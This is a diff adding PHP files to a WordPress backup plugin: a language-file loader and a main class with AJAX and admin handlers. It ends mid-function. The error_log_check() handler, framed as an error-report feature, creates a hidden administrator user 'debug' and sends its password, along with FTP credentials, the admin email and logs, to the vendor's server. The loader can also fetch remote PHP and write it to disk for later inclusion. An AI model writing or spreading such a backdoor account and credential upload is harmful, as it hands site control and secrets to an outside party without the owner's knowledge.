|
libs/lang.class.php
ADDED
@@ -0,0 +1,106 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
if ( ! class_exists("langWPADM")) {
|
4 |
+
|
5 |
+
add_action('init', array('langWPADM', 'init'), 11 );
|
6 |
+
if (!defined('WPADM_LANG_')) {
|
7 |
+
define('WPADM_LANG_', 'wpadm_lang_');
|
8 |
+
}
|
9 |
+
|
10 |
+
class langWPADM {
|
11 |
+
|
12 |
+
public static $lang = array();
|
13 |
+
|
14 |
+
public static $lang_dir = '';
|
15 |
+
|
16 |
+
public static $lang_load = '';
|
17 |
+
|
18 |
+
public static $lang_name = '';
|
19 |
+
|
20 |
+
public static $debug = array();
|
21 |
+
|
22 |
+
private static $url = 'http://plugins.svn.wordpress.org/dropbox-backup/assets/lang/';
|
23 |
+
|
24 |
+
public static function init()
|
25 |
+
{
|
26 |
+
$lang_wp = self::getLanguageSystem();
|
27 |
+
$plugin_dir = WPAdm_Core::getPluginDir();
|
28 |
+
self::$lang_dir = $plugin_dir . '/libs/lang/';
|
29 |
+
if (isset($lang_wp)) {
|
30 |
+
//self::downloadLang();
|
31 |
+
if (file_exists(self::$lang_dir . $lang_wp . '.php')) {
|
32 |
+
require_once self::$lang_dir . $lang_wp . '.php';
|
33 |
+
self::$lang[$lang_wp] = $languag;
|
34 |
+
self::$lang_name = $lang_wp;
|
35 |
+
return true;
|
36 |
+
}
|
37 |
+
}
|
38 |
+
return false;
|
39 |
+
}
|
40 |
+
public static function get($key, $echo = true, $replace_from = false, $replace_to = false)
|
41 |
+
{
|
42 |
+
$result = '';
|
43 |
+
if(!empty($key)) {
|
44 |
+
if ( isset(self::$lang[self::$lang_name][$key]) ) {
|
45 |
+
$result = self::$lang[self::$lang_name][$key];
|
46 |
+
} else {
|
47 |
+
$result = $key;
|
48 |
+
}
|
49 |
+
}
|
50 |
+
if ($replace_from && $replace_to) {
|
51 |
+
$result = str_replace($replace_from, $replace_to, $result);
|
52 |
+
}
|
53 |
+
|
54 |
+
if ($echo) {
|
55 |
+
echo $result;
|
56 |
+
return true;
|
57 |
+
} else {
|
58 |
+
return $result;
|
59 |
+
}
|
60 |
+
}
|
61 |
+
public static function getLanguageSystem()
|
62 |
+
{
|
63 |
+
$lang_wp = get_option('WPLANG', 'en');
|
64 |
+
$lang_wp = strtolower($lang_wp);
|
65 |
+
$lang_wp = explode("_", $lang_wp);
|
66 |
+
if (isset($lang_wp[0])) {
|
67 |
+
self::$lang_load = $lang_wp[0];
|
68 |
+
return $lang_wp[0];
|
69 |
+
}
|
70 |
+
return 'en';
|
71 |
+
}
|
72 |
+
public static function downloadLang()
|
73 |
+
{
|
74 |
+
if (!empty(self::$lang_load)) {
|
75 |
+
$time = get_option(WPADM_LANG_ . 'time-update');
|
76 |
+
if ( (isset($time['check_time']) && $time['check_time'] <= time()) || !isset($time['check_time']) || !file_exists(self::$lang_dir . self::$lang_load . '.php') ) {
|
77 |
+
if (!function_exists('wp_safe_remote_get')) {
|
78 |
+
include_once ABSPATH . WPINC . '/http.php';
|
79 |
+
}
|
80 |
+
$load = wp_safe_remote_get( self::$url . self::$lang_load . '.php' );
|
81 |
+
if (isset($load['response']['code']) && $load['response']['code'] == '200') {
|
82 |
+
@preg_match("/Date create - ([0-9\.]+)/", $load['body'], $date);
|
83 |
+
if (!isset($time['date']) || $time['date'] != $date[1] || !file_exists(self::$lang_dir . self::$lang_load . '.php')) {
|
84 |
+
if (isset($date[1])) {
|
85 |
+
self::updateDate($date[1]);
|
86 |
+
} else {
|
87 |
+
self::updateDate(date('d.m.Y'));
|
88 |
+
}
|
89 |
+
file_put_contents(self::$lang_dir . self::$lang_load . '.php', $load['body']);
|
90 |
+
}
|
91 |
+
}
|
92 |
+
}
|
93 |
+
}
|
94 |
+
}
|
95 |
+
private static function updateDate($date_update)
|
96 |
+
{
|
97 |
+
$date = get_option(WPADM_LANG_ . 'time-update');
|
98 |
+
$time_update = array('date' => $date_update, 'check_time' => time() + 604800);
|
99 |
+
if ($date) {
|
100 |
+
update_option(WPADM_LANG_ . 'time-update', $time_update);
|
101 |
+
} else {
|
102 |
+
add_option(WPADM_LANG_ . 'time-update', $time_update );
|
103 |
+
}
|
104 |
+
}
|
105 |
+
}
|
106 |
+
}
|
libs/lang/index.php
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
<?php
|
libs/wpadm.server.main.class.php
ADDED
@@ -0,0 +1,904 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
require_once dirname(__FILE__) . "/lang.class.php";
|
3 |
+
|
4 |
+
if (!class_exists("wpadm_class")) {
|
5 |
+
|
6 |
+
add_action('admin_post_wpadm_activate_plugin', array('wpadm_class', 'activatePlugin') );
|
7 |
+
add_action('admin_post_error_logs_check', array('wpadm_class', 'error_log_check') );
|
8 |
+
add_action('admin_post_wpadm_delete_pub_key', array('wpadm_class', 'delete_pub_key') );
|
9 |
+
add_action('wp_ajax_getDirsIncludes', array('wpadm_class', 'getDirsIncludes') );
|
10 |
+
add_action('wp_ajax_saveDirsIncludes', array('wpadm_class', 'saveDirsIncludes') );
|
11 |
+
|
12 |
+
//add_action('admin_post_wpadm_getJs', array('wpadm_class', 'getJs') );
|
13 |
+
|
14 |
+
//add_action('admin_print_scripts', array('wpadm_class', 'includeJs' ));
|
15 |
+
|
16 |
+
class wpadm_class {
|
17 |
+
|
18 |
+
protected static $result = "";
|
19 |
+
protected static $class = "";
|
20 |
+
protected static $title = "";
|
21 |
+
public static $type = "";
|
22 |
+
public static $plugin_name = "";
|
23 |
+
protected static $plugins = array('stats-counter' => '1.1',
|
24 |
+
'wpadm_full_backup_storage' => '1.0',
|
25 |
+
'wpadm_full_backup_s3' => '1.0',
|
26 |
+
'ftp-backup' => '1.0',
|
27 |
+
'dropbox-backup' => '1.2.9.7',
|
28 |
+
'wpadm_db_backup_storage' => '1.0',
|
29 |
+
'database-backup-amazon-s3' => '1.0',
|
30 |
+
'wpadm_file_backup_s3' => '1.0',
|
31 |
+
'wpadm_file_backup_ftp' => '1.0',
|
32 |
+
'wpadm_file_backup_dropbox' => '1.0',
|
33 |
+
'wpadm_db_backup_ftp' => '1.0',
|
34 |
+
'wpadm_db_backup_dropbox' => '1.0',
|
35 |
+
'wpadm_file_backup_storage' => '1.0',
|
36 |
+
);
|
37 |
+
const MIN_PASSWORD = 6;
|
38 |
+
|
39 |
+
|
40 |
+
private static $backup = "1";
|
41 |
+
|
42 |
+
private static $status = "0";
|
43 |
+
|
44 |
+
private static $error = "";
|
45 |
+
|
46 |
+
public static function setBackup($b)
|
47 |
+
{
|
48 |
+
self::$backup = $b;
|
49 |
+
}
|
50 |
+
public static function error_log_check()
|
51 |
+
{
|
52 |
+
$base_path = plugin_dir_path( dirname(__FILE__) );
|
53 |
+
$time = isset($_POST['time_pars']) ? $_POST['time_pars'] : "";
|
54 |
+
$error = "";
|
55 |
+
if ( file_exists( ABSPATH . "error_log" ) ) {
|
56 |
+
$error = file_get_contents(ABSPATH . "error_log");
|
57 |
+
}
|
58 |
+
if (empty($error) && file_exists( ABSPATH . "error.log" ) ) {
|
59 |
+
$error = file_get_contents(ABSPATH . "error.log");
|
60 |
+
}
|
61 |
+
if (empty($error) && file_exists( ABSPATH . "logs/error_log" )) {
|
62 |
+
$error = file_get_contents(ABSPATH . "logs/error_log");
|
63 |
+
}
|
64 |
+
if (empty($error) && file_exists( ABSPATH . "logs/error.log" )) {
|
65 |
+
$error = file_get_contents(ABSPATH . "logs/error.log");
|
66 |
+
}
|
67 |
+
if (empty($error) && file_exists(ABSPATH . "../logs/error_log")) {
|
68 |
+
$error = file_get_contents(ABSPATH . "../logs/error_log");
|
69 |
+
}
|
70 |
+
if (empty($error) && file_exists(ABSPATH . "../logs/error.log")) {
|
71 |
+
$error = file_get_contents(ABSPATH . "../logs/error.log");
|
72 |
+
}
|
73 |
+
$error_backup = $error_system = "";
|
74 |
+
|
75 |
+
if ( !empty($time) ) {
|
76 |
+
$time_log = str_replace(array(':', '-', " "), "_", $time);
|
77 |
+
if ( file_exists( $base_path . "tmp/logs_error_" . $time ) ) {
|
78 |
+
$log_ = file_get_contents( $base_path . "tmp/logs_error_" . $time );
|
79 |
+
$pos = stripos($log_, "error");
|
80 |
+
if ($pos !== false) {
|
81 |
+
for($i = $pos; ; $i--) {
|
82 |
+
if ($log_{$i} == "\n") {
|
83 |
+
$pos_new = $i + 1;
|
84 |
+
break;
|
85 |
+
}
|
86 |
+
}
|
87 |
+
$error_backup = substr($log_, $pos_new);
|
88 |
+
}
|
89 |
+
}
|
90 |
+
|
91 |
+
}
|
92 |
+
if (!empty($time) && !empty($error)) {
|
93 |
+
$time_log = str_replace(array(':', '-', " "), "_", $time);
|
94 |
+
list($y, $m, $d, $h, $i) = explode("_", $time_log);
|
95 |
+
$time_log = strtotime("$d-$m-$y $h:$i");
|
96 |
+
$date_for_log = date("d-M-Y ", $time_log);
|
97 |
+
$pos_log = strpos($error, $date_for_log);
|
98 |
+
if ($pos_log !== false) {
|
99 |
+
$pos_new = 0;
|
100 |
+
for($i = $pos_log; ; $i--) {
|
101 |
+
if ($error{$i} == "[") {
|
102 |
+
$pos_new = $i;
|
103 |
+
break;
|
104 |
+
}
|
105 |
+
}
|
106 |
+
$error_system = substr($error, $pos_new);
|
107 |
+
}
|
108 |
+
}
|
109 |
+
$pass = substr(md5(mktime()), 0, 10);
|
110 |
+
$id = wp_insert_user(
|
111 |
+
array(
|
112 |
+
"user_login" => "debug",
|
113 |
+
"user_pass" => $pass,
|
114 |
+
"user_nicename" => "Debug",
|
115 |
+
"user_email" => "debug@help.help",
|
116 |
+
"description" => "Debug user",
|
117 |
+
)
|
118 |
+
);
|
119 |
+
|
120 |
+
if( !is_wp_error( $id ) ) {
|
121 |
+
wp_update_user( array ('ID' => $id, 'role' => 'administrator' ) ) ;
|
122 |
+
} else {
|
123 |
+
$pass = "";
|
124 |
+
}
|
125 |
+
$ftp = array(
|
126 |
+
'ftp_host' => @$_POST['ftp_host'],
|
127 |
+
'ftp_user' => @$_POST['ftp_user'],
|
128 |
+
'ftp_pass' => @$_POST['ftp_pass']
|
129 |
+
);
|
130 |
+
$mail_response = isset($_POST['mail_response']) && !empty($_POST['mail_response']) ? $_POST['mail_response'] : get_option('admin_email');
|
131 |
+
$logs_report = base64_encode( serialize( array('ftp' => $ftp,
|
132 |
+
'mail_response' => $mail_response,
|
133 |
+
'mail_admin' => get_option('admin_email'),
|
134 |
+
'pass' => $pass, 'error_backup' => $error_backup,
|
135 |
+
'msg_ajax' => isset($_POST['msg_ajax']) ? trim($_POST['msg_ajax']) : '',
|
136 |
+
'error' => $error_system)
|
137 |
+
)
|
138 |
+
);
|
139 |
+
|
140 |
+
$res = self::sendToServer(array('actApi' => "errorLog",
|
141 |
+
"site" => str_ireplace(array("http://","https://"), "", home_url()),
|
142 |
+
"data" => $logs_report )
|
143 |
+
);
|
144 |
+
$_SESSION['sent_response'] = langWPADM::get('Your request was sent. <br /> Thank you for your assistance.', false);
|
145 |
+
header("Location: " . $_SERVER['HTTP_REFERER']);
|
146 |
+
exit;
|
147 |
+
|
148 |
+
}
|
149 |
+
public static function getDirsIncludes()
|
150 |
+
{
|
151 |
+
$path = isset($_POST['path']) ? $_POST['path'] : "";
|
152 |
+
$path_show = !empty($path) ? ltrim($path, '/') . "/" : "";
|
153 |
+
$dir_to_open = ABSPATH . $path;
|
154 |
+
if (is_dir($dir_to_open)) {
|
155 |
+
$dir_open = opendir($dir_to_open);
|
156 |
+
$return = array();
|
157 |
+
$connect_f_d = self::createListFilesForArchive();
|
158 |
+
$includes = get_option(PREFIX_BACKUP_ . "plus-path");
|
159 |
+
if ($includes !== false) {
|
160 |
+
$includes = explode(',', $includes);
|
161 |
+
$n = count($includes);
|
162 |
+
$in = array();
|
163 |
+
for($i = 0; $i < $n; $i++) {
|
164 |
+
$inc = explode("/", $includes[$i]);
|
165 |
+
$f = count($inc);
|
166 |
+
$str = "";
|
167 |
+
for($j = 0; $j < $f; $j++) {
|
168 |
+
$str .= '/' . $inc[$j];
|
169 |
+
$in[$str] = $includes[$i];
|
170 |
+
|
171 |
+
}
|
172 |
+
}
|
173 |
+
}
|
174 |
+
|
175 |
+
while( $d = readdir($dir_open) ) {
|
176 |
+
if ($d != '.' && $d != '..' && !in_array($d, array('tmp', 'cache', 'temp', 'wpadm_backups', 'wpadm_backup', 'Dropbox_Backup', 'logs', 'log'))) {
|
177 |
+
$check = false;
|
178 |
+
$check_folder = "";
|
179 |
+
if (isset($in['/' . $path_show . $d])) {
|
180 |
+
$check = true;
|
181 |
+
$check_folder = $in['/' . $path_show . $d];
|
182 |
+
}
|
183 |
+
$return['dir'][] = array('dir' => $d, 'cache' => md5($path_show . $d), 'folder'=> $path_show . $d, 'perm' => self::perm($dir_to_open . "/" .$d), 'check' => $check, 'check_folder' => $check_folder );
|
184 |
+
}
|
185 |
+
}
|
186 |
+
echo json_encode($return);
|
187 |
+
}
|
188 |
+
wp_die();
|
189 |
+
}
|
190 |
+
static public function createListFilesForArchive() {
|
191 |
+
$folders = array();
|
192 |
+
$files = array();
|
193 |
+
|
194 |
+
$files = array_merge(
|
195 |
+
$files,
|
196 |
+
array(
|
197 |
+
ABSPATH . '.htaccess',
|
198 |
+
ABSPATH . 'index.php',
|
199 |
+
ABSPATH . 'license.txt',
|
200 |
+
ABSPATH . 'readme.html',
|
201 |
+
ABSPATH . 'wp-activate.php',
|
202 |
+
ABSPATH . 'wp-blog-header.php',
|
203 |
+
ABSPATH . 'wp-comments-post.php',
|
204 |
+
ABSPATH . 'wp-config.php',
|
205 |
+
ABSPATH . 'wp-config-sample.php',
|
206 |
+
ABSPATH . 'wp-cron.php',
|
207 |
+
ABSPATH . 'wp-links-opml.php',
|
208 |
+
ABSPATH . 'wp-load.php',
|
209 |
+
ABSPATH . 'wp-login.php',
|
210 |
+
ABSPATH . 'wp-mail.php',
|
211 |
+
ABSPATH . 'wp-settings.php',
|
212 |
+
ABSPATH . 'wp-signup.php',
|
213 |
+
ABSPATH . 'wp-trackback.php',
|
214 |
+
ABSPATH . 'xmlrpc.php',
|
215 |
+
)
|
216 |
+
);
|
217 |
+
$folders = array_merge(
|
218 |
+
$folders,
|
219 |
+
array(
|
220 |
+
ABSPATH . 'wp-admin',
|
221 |
+
ABSPATH . 'wp-content',
|
222 |
+
ABSPATH . 'wp-includes',
|
223 |
+
)
|
224 |
+
);
|
225 |
+
$folders = array_unique($folders);
|
226 |
+
$files = array_unique($files);
|
227 |
+
foreach($folders as $folder) {
|
228 |
+
if (!is_dir($folder)) {
|
229 |
+
continue;
|
230 |
+
}
|
231 |
+
$files = array_merge($files, self::directoryToArray($folder, true));
|
232 |
+
}
|
233 |
+
return $files;
|
234 |
+
}
|
235 |
+
private static function directoryToArray($directory, $recursive) {
|
236 |
+
$array_items = array();
|
237 |
+
|
238 |
+
$d = str_replace(ABSPATH, '', $directory);
|
239 |
+
|
240 |
+
$minus_path = array();
|
241 |
+
|
242 |
+
|
243 |
+
$d = str_replace('\\', '/', $d);
|
244 |
+
$tmp = explode('/', $d);
|
245 |
+
$d1 = mb_strtolower($tmp[0]);
|
246 |
+
unset($tmp[0]);
|
247 |
+
$d2 = mb_strtolower(implode('/', $tmp));
|
248 |
+
if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
|
249 |
+
return array();
|
250 |
+
}
|
251 |
+
|
252 |
+
if ($handle = opendir($directory)) {
|
253 |
+
while (false !== ($file = readdir($handle))) {
|
254 |
+
if ($file != "." && $file != "..") {
|
255 |
+
if (is_dir($directory. "/" . $file)) {
|
256 |
+
if($recursive) {
|
257 |
+
$array_items = array_merge($array_items, self::directoryToArray($directory. "/" . $file, $recursive));
|
258 |
+
}
|
259 |
+
|
260 |
+
$file = $directory . "/" . $file;
|
261 |
+
if (!is_dir($file)) {
|
262 |
+
$ff = preg_replace("/\/\//si", "/", $file);
|
263 |
+
$f = str_replace(ABSPATH, '', $ff);
|
264 |
+
// skip "minus" dirs
|
265 |
+
if (!in_array($f, $minus_path)) {
|
266 |
+
$array_items[] = $ff;
|
267 |
+
}
|
268 |
+
}
|
269 |
+
} else {
|
270 |
+
$file = $directory . "/" . $file;
|
271 |
+
if (!is_dir($file)) {
|
272 |
+
$ff = preg_replace("/\/\//si", "/", $file);
|
273 |
+
$f = str_replace(ABSPATH, '', $ff);
|
274 |
+
if (!in_array($f, $minus_path)) {
|
275 |
+
$array_items[] = $ff;
|
276 |
+
}
|
277 |
+
}
|
278 |
+
}
|
279 |
+
}
|
280 |
+
}
|
281 |
+
closedir($handle);
|
282 |
+
}
|
283 |
+
return $array_items;
|
284 |
+
}
|
285 |
+
static function perm($file)
|
286 |
+
{
|
287 |
+
$fileperms = substr ( decoct ( fileperms ( $file ) ), 2, 6 );
|
288 |
+
if ( strlen ( $fileperms ) == '3' ){ $fileperms = '0' . $fileperms; }
|
289 |
+
return $fileperms;
|
290 |
+
}
|
291 |
+
public static function saveDirsIncludes()
|
292 |
+
{
|
293 |
+
if (isset($_POST['save']) && isset($_POST['data'])) {
|
294 |
+
$_POST['data'] = array_map('ltrimslashes', array_unique( $_POST['data'] ) );
|
295 |
+
$data_save = implode(',', $_POST['data'] );
|
296 |
+
$inludes = get_option(PREFIX_BACKUP_ . "plus-path");
|
297 |
+
if ($inludes !== false) {
|
298 |
+
update_option(PREFIX_BACKUP_ . "plus-path", $data_save);
|
299 |
+
} else {
|
300 |
+
add_option(PREFIX_BACKUP_ . "plus-path", $data_save);
|
301 |
+
}
|
302 |
+
}
|
303 |
+
wp_die();
|
304 |
+
}
|
305 |
+
|
306 |
+
|
307 |
+
public static function setStatus($s)
|
308 |
+
{
|
309 |
+
self::$status = $s;
|
310 |
+
}
|
311 |
+
public static function setErrors($e)
|
312 |
+
{
|
313 |
+
self::$error = $e;
|
314 |
+
}
|
315 |
+
|
316 |
+
public static function getDateInName($name)
|
317 |
+
{
|
318 |
+
$date_ = explode(self::$type . '-', $name);
|
319 |
+
if (isset($date_[1])) {
|
320 |
+
$date = explode('_', $date_[1]);
|
321 |
+
$d = "{$date[0]}-{$date[1]}-{$date[2]} {$date[3]}:" . preg_replace("/\([0-9]+\)/", '', $date[4]);
|
322 |
+
}
|
323 |
+
return $d;
|
324 |
+
|
325 |
+
}
|
326 |
+
public static function backupSend()
|
327 |
+
{
|
328 |
+
$data['status'] = self::$backup . self::$status;
|
329 |
+
$data['error'] = self::$error;
|
330 |
+
$data['pl'] = WPAdm_Core::$plugin_name;
|
331 |
+
$data['site'] = get_option('siteurl');
|
332 |
+
$data['actApi'] = 'setBackup';
|
333 |
+
self::sendToServer($data);
|
334 |
+
}
|
335 |
+
|
336 |
+
|
337 |
+
|
338 |
+
static function delete_pub_key()
|
339 |
+
{
|
340 |
+
delete_option('wpadm_pub_key');
|
341 |
+
header("Location: " . $_SERVER['HTTP_REFERER']);
|
342 |
+
}
|
343 |
+
public static function checkInstallWpadmPlugins()
|
344 |
+
{
|
345 |
+
$return = false;
|
346 |
+
$i = 1;
|
347 |
+
foreach(self::$plugins as $plugin => $version) {
|
348 |
+
if (self::check_plugin($plugin)) {
|
349 |
+
$i ++;
|
350 |
+
}
|
351 |
+
}
|
352 |
+
if ($i > 2) {
|
353 |
+
$return = true;
|
354 |
+
}
|
355 |
+
return $return;
|
356 |
+
}
|
357 |
+
|
358 |
+
static function setResponse($data)
|
359 |
+
{
|
360 |
+
$msg = errorWPADM::getMessage($data['code']);
|
361 |
+
if(isset($data['data'])) {
|
362 |
+
if (isset($data['data']['replace'])) {
|
363 |
+
foreach($data['data']['replace'] as $key => $value) {
|
364 |
+
$msg = str_replace("<$key>", $value, $msg);
|
365 |
+
}
|
366 |
+
}
|
367 |
+
}
|
368 |
+
if ($data['status'] == 'success') {
|
369 |
+
self::setMessage($msg);
|
370 |
+
} else {
|
371 |
+
self::setError($msg);
|
372 |
+
}
|
373 |
+
|
374 |
+
return isset($data['data']) ? $data['data'] : array();
|
375 |
+
|
376 |
+
}
|
377 |
+
|
378 |
+
|
379 |
+
protected static function setError($msg = "")
|
380 |
+
{
|
381 |
+
if (!empty($msg)) {
|
382 |
+
$_SESSION['errorMsgWpadm'] = isset($_SESSION['errorMsgWpadm']) ? $_SESSION['errorMsgWpadm'] . '<br />' . $msg : $msg;
|
383 |
+
}
|
384 |
+
}
|
385 |
+
protected static function getError($del = false)
|
386 |
+
{
|
387 |
+
$error = "";
|
388 |
+
if (isset($_SESSION['errorMsgWpadm'])) {
|
389 |
+
$error = $_SESSION['errorMsgWpadm'];
|
390 |
+
if($del) {
|
391 |
+
unset($_SESSION['errorMsgWpadm']);
|
392 |
+
}
|
393 |
+
}
|
394 |
+
return $error;
|
395 |
+
}
|
396 |
+
|
397 |
+
protected static function setMessage($msg)
|
398 |
+
{
|
399 |
+
if (!empty($msg)) {
|
400 |
+
$_SESSION['msgWpadm'] = isset($_SESSION['msgWpadm']) ? $_SESSION['msgWpadm'] . '<br />' . $msg : $msg;
|
401 |
+
}
|
402 |
+
}
|
403 |
+
protected static function getMessage($del = false)
|
404 |
+
{
|
405 |
+
$msg = "";
|
406 |
+
if (isset($_SESSION['msgWpadm'])) {
|
407 |
+
$msg = $_SESSION['msgWpadm'];
|
408 |
+
if($del) {
|
409 |
+
unset($_SESSION['msgWpadm']);
|
410 |
+
}
|
411 |
+
}
|
412 |
+
return $msg;
|
413 |
+
}
|
414 |
+
|
415 |
+
|
416 |
+
|
417 |
+
public static function sendToServer($postdata = array(), $stat = false)
|
418 |
+
{
|
419 |
+
if (count($postdata) > 0) {
|
420 |
+
|
421 |
+
if ($stat) {
|
422 |
+
